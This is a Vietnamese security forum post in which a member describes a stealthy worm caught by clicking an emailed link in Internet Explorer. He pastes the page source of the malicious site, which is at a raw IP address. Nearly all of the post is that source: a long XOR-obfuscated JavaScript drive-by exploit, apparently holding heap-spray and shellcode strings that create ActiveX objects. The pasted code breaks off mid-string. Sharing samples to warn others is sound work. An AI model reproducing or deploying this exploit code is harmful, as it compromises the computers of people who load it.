banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận virus, trojan, spyware, worm... Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !  XML
  [Question]   Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! 22/08/2007 11:06:20 (+0700) | #1 | 80310
vhboyz
Member

[Minus]    0    [Plus]
Joined: 01/06/2007 23:32:47
Messages: 2
Offline
[Profile] [PM]
Do chủ quan không cẩn thận khi nhân được mail sau mình đã click vô link bên dưới bằng trình duyệt IE và lãnh trấu



con worm này lây vào máy nhưng cả Taskmanager và các chương trình xem các process đang hoạt động thì đều không có phát hiện gì lạ

Đành mở filemon ra thì phát hiện Spooldr các bác xem hình:



Tay nào viết con này mà cao tay quá,Xem DU Meter thấy nó đang download và upload ầm ầm
kiểm tra bằng filemon thấy đường dẫn của nó là C:\Windows\spooldr.exe nhưng vào thì không hề thấy tệp này đâu (mặc dù trong Floder Option mình đã bỏ chọn 2 phần ẩn tệp hệ thống và thư mục ẩn)

View Source trang : _http://87.207.105.191/ thu được:


Code:
<Script Language='JavaScript'> function xor_str(plain_str, xor_key){ var xored_str = "";	for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i)); return xored_str; } function kaspersky(suck,dick){}; function kaspersky2(suck_dick,again){};var plain_str = "\x85\xa8\xaf\xa8\xaf\xd3\xc4\xd7\x85\xc8\xc8\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\x8c\x9e\xa8\xaf\xd3\xc4\xd7\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x85\x98\x85\x95\x9e\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xcd\x8d\x8c\x85\xde\xc8\xc8\x98\xc8\xc8\x9e\x85\xd6\xc0\xd1\xf1\xcc\xc8\xc0\xca\xd0\xd1\x8d\x87\xcd\x8d\x8c\x87\x89\x85\x97\x95\x95\x95\x8c\x9e\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xc2\xc0\xd1\xc7\x8d\xc7\x89\x85\xc7\xf6\xcc\xdf\xc0\x8c\xa8\xaf\xde\xd2\xcd\xcc\xc9\xc0\x85\x8d\xc7\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x8f\x97\x99\xc7\xf6\xcc\xdf\xc0\x8c\xde\xc7\x85\x8e\x98\x85\xc7\x9e\xd8\xa8\xaf\xc7\x85\x98\x85\xc7\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\x95\x89\xc7\xf6\xcc\xdf\xc0\x8a\x97\x8c\x9e\xd7\xc0\xd1\xd0\xd7\xcb\x85\xc7\x9e\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xc6\xc3\x8d\x8c\xa8\xaf\xde\xd3\xc4\xd7\x85\xdf\xc6\x85\x98\x85\x95\xdd\x95\xc1\x95\xc1\x95\xc1\x95\xc1\x9e\xa8\xaf\xd3\xc4\xd7\x85\xc4\x85\x98\x85\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x91\x96\x91\x96\x80\xd0\x91\x96\x91\x96\x80\xd0\x95\xc3\xc0\xc7\x80\xd0\x96\x96\x90\xc7\x80\xd0\x93\x93\xc6\x9c\x80\xd0\x9d\x95\xc7\x9c\x80\xd0\x9d\x95\x95\x94\x80\xd0\xc0\xc3\x96\x96\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc0\x97\x91\x96\x80\xd0\xc0\xc7\xc3\xc4\x80\xd0\xc0\x9d\x95\x90\x80\xd0\xc3\xc3\xc0\xc6\x80\xd0\xc3\xc3\xc3\xc3\x80\xd0\x9d\xc7\x92\xc3\x80\xd0\xc1\xc3\x91\xc0\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x93\x91\xc0\xc3\x80\xd0\xc0\x96\xc4\xc3\x80\xd0\x9c\xc3\x93\x91\x80\xd0\x91\x97\xc3\x96\x80\xd0\x9c\xc3\x93\x91\x80\xd0\x93\xc0\xc0\x92\x80\xd0\xc0\xc3\x95\x96\x80\xd0\xc0\xc3\xc0\xc7\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x93\x91\xc0\xc3\x80\xd0\xc7\x9c\x95\x96\x80\xd0\x93\x94\x9d\x92\x80\xd0\xc0\x94\xc4\x94\x80\xd0\x95\x92\x95\x96\x80\xd0\xc0\xc3\x94\x94\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc0\xc7\x80\xd0\x92\x92\x9d\x92\x80\xd0\x93\x90\x94\x94\x80\xd0\x95\x92\xc0\x94\x80\xd0\xc0\xc3\x94\xc3\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc0\x92\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc6\xc4\x9d\x92\x80\xd0\x94\x95\x90\xc3\x80\xd0\x95\x92\x97\xc1\x80\xd0\xc0\xc3\x95\xc1\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc0\x96\x80\xd0\x95\x95\x9d\x92\x80\xd0\x95\xc3\x97\x94\x80\xd0\x95\x92\x9d\xc3\x80\xd0\xc0\xc3\x96\xc7\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc3\xc3\x80\xd0\x97\xc0\x9d\x92\x80\xd0\x95\xc4\x9c\x93\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x95\x92\x90\x92\x80\xd0\xc0\xc3\x97\x9c\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc4\xc3\xc3\xc7\x80\xd0\xc1\x92\x93\xc3\x80\xd0\x9c\xc4\x97\xc6\x80\xd0\x93\x93\x94\x90\x80\xd0\xc3\x92\xc4\xc4\x80\xd0\xc0\x9d\x95\x93\x80\xd0\xc0\xc3\xc0\xc0\x80\xd0\xc7\x94\xc0\xc3\x80\xd0\x9c\xc4\x93\x93\x80\xd0\x93\x91\xc6\xc7\x80\xd0\xc0\xc7\xc4\xc4\x80\xd0\xc0\xc0\x9d\x90\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x80\xd0\x95\x92\xc7\x9c\x80\xd0\xc0\xc3\x93\x91\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9d\x92\xc7\xc3\x80\xd0\xc3\x90\xc1\x9c\x80\xd0\x9c\xc3\xc6\x95\x80\xd0\x92\x9d\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x93\x93\xc0\xc3\x80\xd0\xc3\x96\xc4\xc4\x80\xd0\x97\xc4\x93\x91\x80\xd0\x97\xc3\x93\xc6\x80\xd0\x93\x93\xc7\xc3\x80\xd0\xc6\xc3\xc4\xc4\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x94\x95\x9d\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc7\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x91\x80\xd0\x9d\x90\xc3\xc7\x80\xd0\xc7\x93\xc0\xc1\x80\xd0\xc7\xc4\x93\x91\x80\xd0\x95\x92\xc3\x92\x80\xd0\xc0\xc3\x9d\xc0\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\xc0\xc6\x80\xd0\x97\x9d\xc6\xc3\x80\xd0\xc7\x96\xc0\xc3\x80\xd0\xc6\x94\x9c\x94\x80\xd0\x97\x9d\x9d\xc4\x80\xd0\xc0\xc7\xc4\xc3\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x9d\xc4\x9c\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9c\xc4\x94\x95\x80\xd0\x93\x91\xc6\xc3\x80\xd0\xc0\x96\xc4\xc4\x80\xd0\xc0\xc0\x9d\x90\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x80\xd0\xc4\xc3\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9d\x90\xc0\xc3\x80\xd0\xc7\x92\xc0\x9d\x80\xd0\xc4\xc4\xc0\xc6\x80\xd0\xc1\xc6\xc6\xc7\x80\xd0\xc7\xc6\x96\x91\x80\xd0\x94\x95\xc7\xc6\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc6\xc3\x9c\xc4\x80\xd0\xc7\xc6\xc7\xc3\x80\xd0\xc4\xc4\x93\x91\x80\xd0\x9d\x90\xc3\x96\x80\xd0\xc7\x93\xc0\xc4\x80\xd0\xc7\xc4\x93\x91\x80\xd0\x95\x92\xc3\x92\x80\xd0\xc0\xc3\xc6\xc6\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc0\xc3\x9d\x90\x80\xd0\x9c\xc4\x94\x95\x80\xd0\x93\x91\xc6\xc3\x80\xd0\xc0\x92\xc4\xc4\x80\xd0\xc0\xc1\x9d\x90\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc3\xc3\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9d\x90\xc0\xc3\x80\xd0\x93\x91\x94\x95\x80\xd0\xc3\xc3\xc4\xc4\x80\xd0\xc0\xc0\x9d\x90\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x80\xd0\xc0\xc3\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc0\xc0\xc3\x80\xd0\xc7\xc1\xc7\x91\x80\xd0\x95\xc0\xc0\xc6\x80\xd0\x95\xc0\xc0\xc6\x80\xd0\x95\xc0\xc0\xc6\x80\xd0\x95\xc0\xc0\xc6\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x95\x96\x93\xc6\x80\xd0\xc7\x90\xc0\xc7\x80\xd0\x93\x91\xc7\xc6\x80\xd0\x95\xc1\x96\x90\x80\xd0\xc7\xc1\x94\x9d\x80\xd0\x95\xc3\x94\x95\x80\xd0\x93\x91\xc7\xc4\x80\xd0\x93\x91\x95\x96\x80\xd0\xc0\x92\x9c\x97\x80\xd0\xc7\x97\x93\x91\x80\xd0\xc7\x9c\xc0\x96\x80\xd0\x9c\xc6\x93\x91\x80\xd0\x93\x91\xc1\x96\x80\xd0\xc3\x94\x9c\xc7\x80\xd0\xc0\xc6\x9c\x92\x80\xd0\xc7\x9c\x94\xc6\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x9c\x9c\x93\x91\x80\xd0\xc0\xc6\xc6\xc3\x80\xd0\xc1\xc6\x94\xc6\x80\xd0\xc4\x93\x97\x93\x80\xd0\x91\x97\xc4\xc0\x80\xd0\x97\xc6\xc0\xc6\x80\xd0\xc1\xc6\xc7\x9c\x80\xd0\xc0\x95\x94\x9c\x80\xd0\xc3\xc3\x90\x94\x80\xd0\x94\xc1\xc1\x90\x80\xd0\xc0\x92\x9c\xc7\x80\xd0\x97\x94\x97\xc0\x80\xd0\xc0\xc6\xc0\x97\x80\xd0\xc4\xc3\x94\xc1\x80\xd0\x94\xc0\x95\x91\x80\xd0\x94\x94\xc1\x91\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x9c\xc4\xc7\x94\x80\xd0\xc7\x90\x95\xc4\x80\xd0\x95\x91\x93\x91\x80\xd0\xc7\x90\x93\x91\x80\xd0\xc0\xc6\xc6\xc7\x80\xd0\x9d\x9c\x96\x97\x80\xd0\xc0\x96\x93\x91\x80\xd0\x93\x91\xc4\x91\x80\xd0\xc3\x96\xc7\x90\x80\xd0\x96\x97\xc0\xc6\x80\xd0\xc0\xc7\x93\x91\x80\xd0\xc0\xc6\x93\x91\x80\xd0\xc7\x94\x97\xc4\x80\xd0\x97\xc1\xc7\x97\x80\xd0\xc0\xc3\xc0\x92\x80\xd0\x94\xc7\x95\x92\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x94\x95\x94\x94\x80\xd0\xc7\xc4\x94\x95\x80\xd0\xc4\x96\xc7\xc1\x80\xd0\xc4\x95\xc4\x97\x80\xd0\xc0\xc3\xc4\x94\x80\xd0\x92\x91\x93\x9d\x80\xd0\x92\x95\x92\x91\x80\xd0\x97\xe3\x96\xe4\x80\xd0\x96\x9d\x97\xe3\x80\xd0\x97\xe0\x96\x92\x80\xd0\x96\x95\x96\x97\x80\xd0\x97\xe0\x96\x92\x80\xd0\x96\x95\x96\x94\x80\xd0\x97\xe0\x96\x90\x80\xd0\x96\x9c\x96\x94\x80\xd0\x97\xe3\x96\x94\x80\xd0\x93\x9c\x93\x93\x80\xd0\x93\x90\x93\xe6\x80\xd0\x92\x95\x97\xe0\x80\xd0\x92\x95\x93\x9d\x87\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xf6\xcc\xdf\xc0\x85\x98\x85\x95\xdd\x91\x95\x95\x95\x95\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd5\xc9\xd6\x85\x98\x85\xc4\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x8f\x85\x97\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xc7\xf6\xcc\xdf\xc0\x85\x98\x85\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xf6\xcc\xdf\xc0\x85\x88\x85\x8d\xd5\xc9\xd6\x8e\x95\xdd\x96\x9d\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xc7\x85\x98\x85\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x95\xc6\x95\xc6\x80\xd0\x95\xc6\x95\xc6\x87\x8c\x9e\xac\xc7\x85\x98\x85\xc2\xc0\xd1\xc7\x8d\xc7\x89\xc7\xf6\xcc\xdf\xc0\x8c\x9e\xa8\xaf\xac\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xd6\x85\x98\x85\x8d\xdf\xc6\x85\x88\x85\x95\xdd\x91\x95\x95\x95\x95\x95\x8c\x8a\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xf6\xcc\xdf\xc0\x9e\xa8\xaf\xac\xa8\xaf\xac\xc3\xca\xd7\x85\x8d\xcc\x98\x95\x9e\xcc\x99\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xd6\x9e\xcc\x8e\x8e\x8c\xa8\xaf\xac\xde\xc8\xc8\xfe\xcc\xf8\x85\x98\x85\xc7\x85\x8e\x85\xc4\x9e\xd8\xa8\xaf\xa8\xaf\xac\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x85\x98\x85\x94\x9e\xa8\xaf\xac\xcd\x8d\x8c\x9e\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xc8\xc8\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\xf2\xcc\xcb\xff\xcc\xd5\x8d\xca\xc7\xcf\xc0\xc6\xd1\x8c\xa8\xaf\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xdd\xcd\x85\x98\x85\x82\xe4\x82\x9e\xac\xd2\xcd\xcc\xc9\xc0\x85\x8d\xdd\xcd\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x99\x85\x97\x96\x94\x8c\x85\xdd\xcd\x8e\x98\x82\xe4\x82\x9e\xac\xdd\xcd\x8e\x98\x87\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\x87\x9e\xac\xca\xc7\xcf\xc0\xc6\xd1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xeb\xc0\xd2\xe3\xca\xc9\xc1\xc0\xd7\xe3\xd7\xca\xc8\xeb\xc4\xc8\xc0\x8d\xdd\xcd\x8c\x9e\xa8\xaf\xd8\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\xf2\xf3\xe3\x8d\x8c\xa8\xaf\xde\xa8\xaf\xac\xc3\xca\xd7\x85\x8d\xcc\x98\x95\x9e\xcc\x99\x94\x97\x9d\x9e\xcc\x8e\x8e\x8c\xa8\xaf\xac\xde\xa8\xaf\xac\xac\xd1\xd7\xdc\xde\xac\xac\xac\xd3\xc4\xd7\x85\xd1\xc4\xd7\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xc6\xd1\xcc\xd3\xc0\xfd\xea\xc7\xcf\xc0\xc6\xd1\x8d\x82\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\x82\x8e\x82\xd7\xec\xc6\x82\x8e\x82\xca\xcb\x8b\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\xd7\xec\x82\x8e\x82\xc6\xca\xcb\x8b\x94\x82\x8c\x9e\xa8\xaf\xac\xac\xac\xc1\x85\x98\x85\x95\xdd\x92\xc3\xc3\xc3\xc3\xc3\xc3\xc0\x9e\xa8\xaf\xac\xac\xac\xc7\x85\x98\x85\x95\xdd\x95\xc6\x95\xc6\x95\xc6\x95\xc6\xa8\xaf\xac\xac\xac\xd1\xc4\xd7\x8b\xd6\xc0\xd1\xf6\xc9\xcc\xc6\xc0\x8d\xc1\x89\x85\xc7\x89\x85\xc7\x89\x85\xc7\x85\x8c\x9e\x85\xa8\xaf\xac\xac\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\xa8\xaf\xac\xd8\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xc0\xc9\xc0\xc4\x8d\x8c\xde\xa8\xaf\xd3\xc4\xd7\x85\xd0\xd7\xc9\x98\x87\xcd\xd1\xd1\xd5\x9f\x8a\x8a\xdd\xc4\x87\x9e\xd3\xc4\xd7\x85\xca\xd0\xd1\xf3\xc4\xc9\xd0\xc0\x98\x82\x82\x9e\xc3\xca\xd7\x8d\xcc\x98\x95\x9e\xcc\x99\xd0\xd7\xc9\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x9e\x8c\xde\xca\xd0\xd1\xf3\xc4\xc9\xd0\xc0\x8e\x98\x82\x80\xd0\x82\x8e\xd0\xd7\xc9\x8b\xc6\xcd\xc4\xd7\xe6\xca\xc1\xc0\xe4\xd1\x8d\xcc\x8e\x94\x8c\x8b\xd1\xca\xf6\xd1\xd7\xcc\xcb\xc2\x8d\x94\x93\x8c\x8e\xd0\xd7\xc9\x8b\xc6\xcd\xc4\xd7\xe6\xca\xc1\xc0\xe4\xd1\x8d\xcc\x8c\x8b\xd1\xca\xf6\xd1\xd7\xcc\xcb\xc2\x8d\x94\x93\x8c\x9e\xcc\x98\xcc\x8e\x97\x9e\xd8\xa8\xaf\xdd\x98\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x9c\x95\x9c\x95\x80\xd0\x9c\x95\x9c\x95\x80\xd0\x9c\x95\x9c\x95\x80\xd0\x96\x96\x9c\x95\x80\xd0\x96\x96\xc6\x95\x80\xd0\xc0\xc7\xc6\x9c\x80\xd0\x90\xc0\x94\x97\x80\xd0\xc7\x9c\x93\x93\x80\xd0\xc3\x91\x95\x95\x80\xd0\xc3\xc0\x9d\xc7\x80\xd0\x97\xc0\x9d\x95\x80\xd0\x9d\x95\x95\xc7\x80\xd0\x95\x9c\x96\x93\x80\xd0\xc0\x97\x91\x93\x80\xd0\xc0\xc7\xc3\x92\x80\xd0\xc0\x9d\x95\x90\x80\xd0\xc3\xc3\xc0\x9c\x80\xd0\xc3\xc3\xc3\xc3\x80\xd0\xc4\xc0\xc0\xc7\x80\xd0\x94\x91\x94\x91\x80\xd0\x93\x94\x94\x91\x80\xd0\xc7\x96\x92\x9d\x80\xd0\x94\x91\x91\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x90\x91\x9d\xc1\x80\xd0\x9d\xc1\x94\x95\x80\xd0\x97\x95\x9d\x91\x80\xd0\x9d\xc1\xc4\xc3\x80\xd0\x95\xc6\x93\xc6\x80\xd0\x95\x9c\x9d\xc1\x80\xd0\x94\x9d\x93\xc0\x80\xd0\xc0\xc6\x90\xc7\x80\xd0\x94\x91\x91\xc0\x80\xd0\x94\x91\x94\x91\x80\xd0\xc3\xc7\xc3\x93\x80\xd0\x92\x94\x93\xc6\x80\xd0\x94\x91\x92\x97\x80\xd0\x93\xc6\x94\x91\x80\xd0\x9d\x93\x9d\x92\x80\xd0\x93\xc3\x92\x95\x80\xd0\x95\x94\x93\x9d\x80\xd0\x9d\xc1\x97\xc4\x80\xd0\xc0\xc6\xc0\xc6\x80\xd0\x94\x91\x91\x9d\x80\xd0\x94\x91\x94\x91\x80\xd0\xc3\x95\x9c\x90\x80\xd0\x9d\xc1\x96\x91\x80\xd0\x93\xc0\xc0\x95\x80\xd0\x93\x90\x96\x91\x80\xd0\x93\xc4\x95\x94\x80\xd0\xc1\x9c\x94\x9d\x80\xd0\x94\xc6\x94\x9d\x80\xd0\x92\x90\x93\x95\x80\xd0\x9d\x92\x9d\x91\x80\xd0\x90\x9d\xc1\x9c\x80\xd0\x94\x9d\x94\xc6\x80\xd0\x92\x92\x96\x97\x80\xd0\x92\x92\x92\xc6\x80\xd0\x90\x9d\xc1\xc4\x80\xd0\x95\xc6\x94\xc6\x80\xd0\x91\x90\x94\x91\x80\xd0\x93\x91\xc1\x91\x80\xd0\x93\x90\x93\x91\x80\xd0\x93\x91\x93\x9c\x80\xd0\x93\xc4\x95\x94\x80\xd0\x9d\xc1\x97\x91\x80\xd0\x93\xc0\xc0\x95\x80\xd0\x93\x90\x94\x92\x80\xd0\x93\xc4\x95\x94\x80\xd0\x95\x94\x95\xc6\x80\xd0\x94\x95\x93\xc4\x80\xd0\x93\xc4\x93\x96\x80\xd0\x9d\x92\x9d\xc1\x80\xd0\x9d\xc1\x91\x95\x80\xd0\x91\x92\x9d\x9d\x80\xd0\x94\x90\x92\xc6\x80\xd0\x93\xc4\x95\x92\x80\xd0\x9d\xc4\x9d\xc1\x80\xd0\x94\x90\x96\x91\x80\xd0\x91\x90\x95\x92\x80\xd0\x91\xc7\xc6\xc7\x80\xd0\xc4\xc3\x90\x96\x80\xd0\xc1\x92\x94\x90\x80\xd0\xc1\xc1\x91\x90\x80\xd0\xc6\x97\x94\x94\x80\xd0\x96\xc6\x97\x91\x80\xd0\x9d\x9d\x95\x93\x80\xd0\xc1\x96\x95\xc6\x80\xd0\x95\xc3\xc6\xc1\x80\xd0\xc1\xc0\x94\x90\x80\xd0\xc0\xc1\x90\x91\x80\xd0\x96\xc1\x95\x96\x80\xd0\x9d\x92\x97\x94\x80\xd0\x93\x97\xc3\x9c\x80\xd0\x93\x97\x9d\xc1\x80\xd0\x94\x90\x96\x9d\x80\xd0\x92\xc4\xc1\xc3\x80\xd0\x94\x95\x9d\xc1\x80\xd0\x9d\xc1\x91\xc1\x80\xd0\x97\x95\x93\x97\x80\xd0\xc1\xc3\x94\x90\x80\xd0\x94\x9d\x9d\xc1\x80\xd0\x94\x90\x9d\xc1\x80\xd0\xc4\xc1\xc1\x92\x80\xd0\x90\xc7\x93\x97\x80\xd0\xc0\xc6\xc1\x90\x80\xd0\x95\x94\x93\x96\x80\xd0\x95\x94\x95\x94\x80\xd0\x90\x97\x9c\x97\x80\xd0\xc3\x95\x94\x97\x80\xd0\xc1\xc1\xc0\xc3\x80\xd0\xc3\xc6\xc3\x95\x80\xd0\x95\x97\x9c\xc6\x80\xd0\x94\x97\x9d\xc0\x80\xd0\xc1\xc6\x9d\x97\x80\xd0\x9d\x90\xc3\x93\x80\xd0\x94\xc0\x91\xc4\x80\xd0\x9d\x91\x96\x94\x80\xd0\x9d\x9d\x93\xe6\x80\xd0\x9d\x91\x9d\x9d\x80\xd0\x96\x94\x96\xe0\x80\xd0\x96\xe6\x96\x94\x80\xd0\x96\x97\x91\x9c\x80\xd0\x91\x91\x91\x93\x80\xd0\x96\x97\x91\x9c\x80\xd0\x91\x91\x91\x96\x80\xd0\x96\x97\x91\x92\x80\xd0\x96\xe7\x91\x96\x80\xd0\x96\x94\x91\x96\x80\xd0\x93\xe7\x92\xe4\x80\xd0\x92\x92\x92\x95\x80\xd0\x9d\x91\x96\x97\x80\xd0\x9d\x91\x93\xe6\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x87\x8e\xca\xd0\xd1\xf3\xc4\xc9\xd0\xc0\x8c\x9e\xa8\xaf\xdc\x98\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x95\xc1\x95\xc1\x80\xd0\x95\xc1\x95\xc1\x87\x8c\x9e\xd2\xcd\xcc\xc9\xc0\x8d\xdc\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x99\x95\xdd\x91\x95\x95\x95\x95\x8c\xdc\x8e\x98\xdc\x9e\xdc\x98\xdc\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\x95\x89\x95\xdd\x96\xc3\xc3\xc0\x91\x88\xdd\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x8c\x9e\xca\x98\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\x8c\x9e\xc3\xca\xd7\x8d\xcc\x98\x95\x9e\xcc\x99\x91\x90\x95\x9e\xcc\x8e\x8e\x8c\xca\xfe\xcc\xf8\x98\xdc\x8e\xdd\x9e\xdf\x98\xe8\xc4\xd1\xcd\x8b\xc6\xc0\xcc\xc9\x8d\x95\xdd\xc1\x95\xc1\x95\xc1\x95\xc1\x8c\x9e\xa8\xaf\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xd2\xd7\xcc\xd1\xc0\x8d\x82\x99\xca\xc7\xcf\xc0\xc6\xd1\x85\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x98\x87\xe6\xe9\xf6\xec\xe1\x9f\xe0\xe6\x91\x91\x91\xe6\xe7\x93\x88\x96\xe0\x92\xe0\x88\x91\x9d\x93\x90\x88\xe7\x94\xe6\x96\x88\x95\xe1\xe0\x92\x97\xe0\xe3\x96\x9c\xe7\x96\xe3\x87\x9b\x99\x8a\xca\xc7\xcf\xc0\xc6\xd1\x9b\x82\x8c\x9e\xa8\xaf\xdf\x98\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xd6\xc6\xd7\xcc\xd5\xd1\xd6\xfe\x95\xf8\x8b\xc6\xd7\xc0\xc4\xd1\xc0\xe6\xca\xcb\xd1\xd7\xca\xc9\xf7\xc4\xcb\xc2\xc0\x8d\x8c\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xdc\xc4\xcd\x8d\x8c\xa8\xaf\xde\xa8\xaf\xd1\xd7\xdc\x85\xde\xa8\xaf\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xd2\xd7\xcc\xd1\xc0\x8d\x87\x99\xca\xc7\xcf\xc0\xc6\xd1\x85\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x98\x82\x87\x8e\x87\xc6\xc9\xd6\xcc\xc1\x9f\x9c\xe1\x96\x9c\x97\x97\x96\xe0\x88\xe4\xe0\x9d\xe0\x88\x94\x87\x8e\x87\x94\xe1\x91\x88\x9d\xe3\xe1\x96\x88\x95\x95\xe1\x95\xe7\x92\x92\x96\x95\x97\x87\x8e\x87\x92\x92\x82\x85\xcc\xc1\x98\x82\xd1\xc4\x87\x8e\x87\xd7\xc2\xc0\xd1\x82\x9b\x99\x8a\x87\x8e\x87\xca\xc7\xcf\xc0\xc6\xd1\x9b\x87\x8c\x9e\xa8\xaf\xc8\xdc\xe7\xd0\xc3\xc3\x85\x98\x85\x82\xf9\xdd\x95\xc4\x82\x9e\x85\xa8\xaf\xd2\xcd\xcc\xc9\xc0\x85\x8d\xc8\xdc\xe7\xd0\xc3\xc3\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x99\x85\x90\x95\x95\x95\x8c\x85\xc8\xdc\xe7\xd0\xc3\xc3\x85\x8e\x98\x85\x82\xf9\xdd\x95\xc4\xf9\xdd\x95\xc4\xf9\xdd\x95\xc4\xf9\xdd\x95\xc4\x82\x9e\x85\xa8\xaf\xc0\xd3\xc4\xc9\x8d\xf6\xd1\xd7\xcc\xcb\xc2\x8b\xc3\xd7\xca\xc8\xe6\xcd\xc4\xd7\xe6\xca\xc1\xc0\x8d\x94\x94\x93\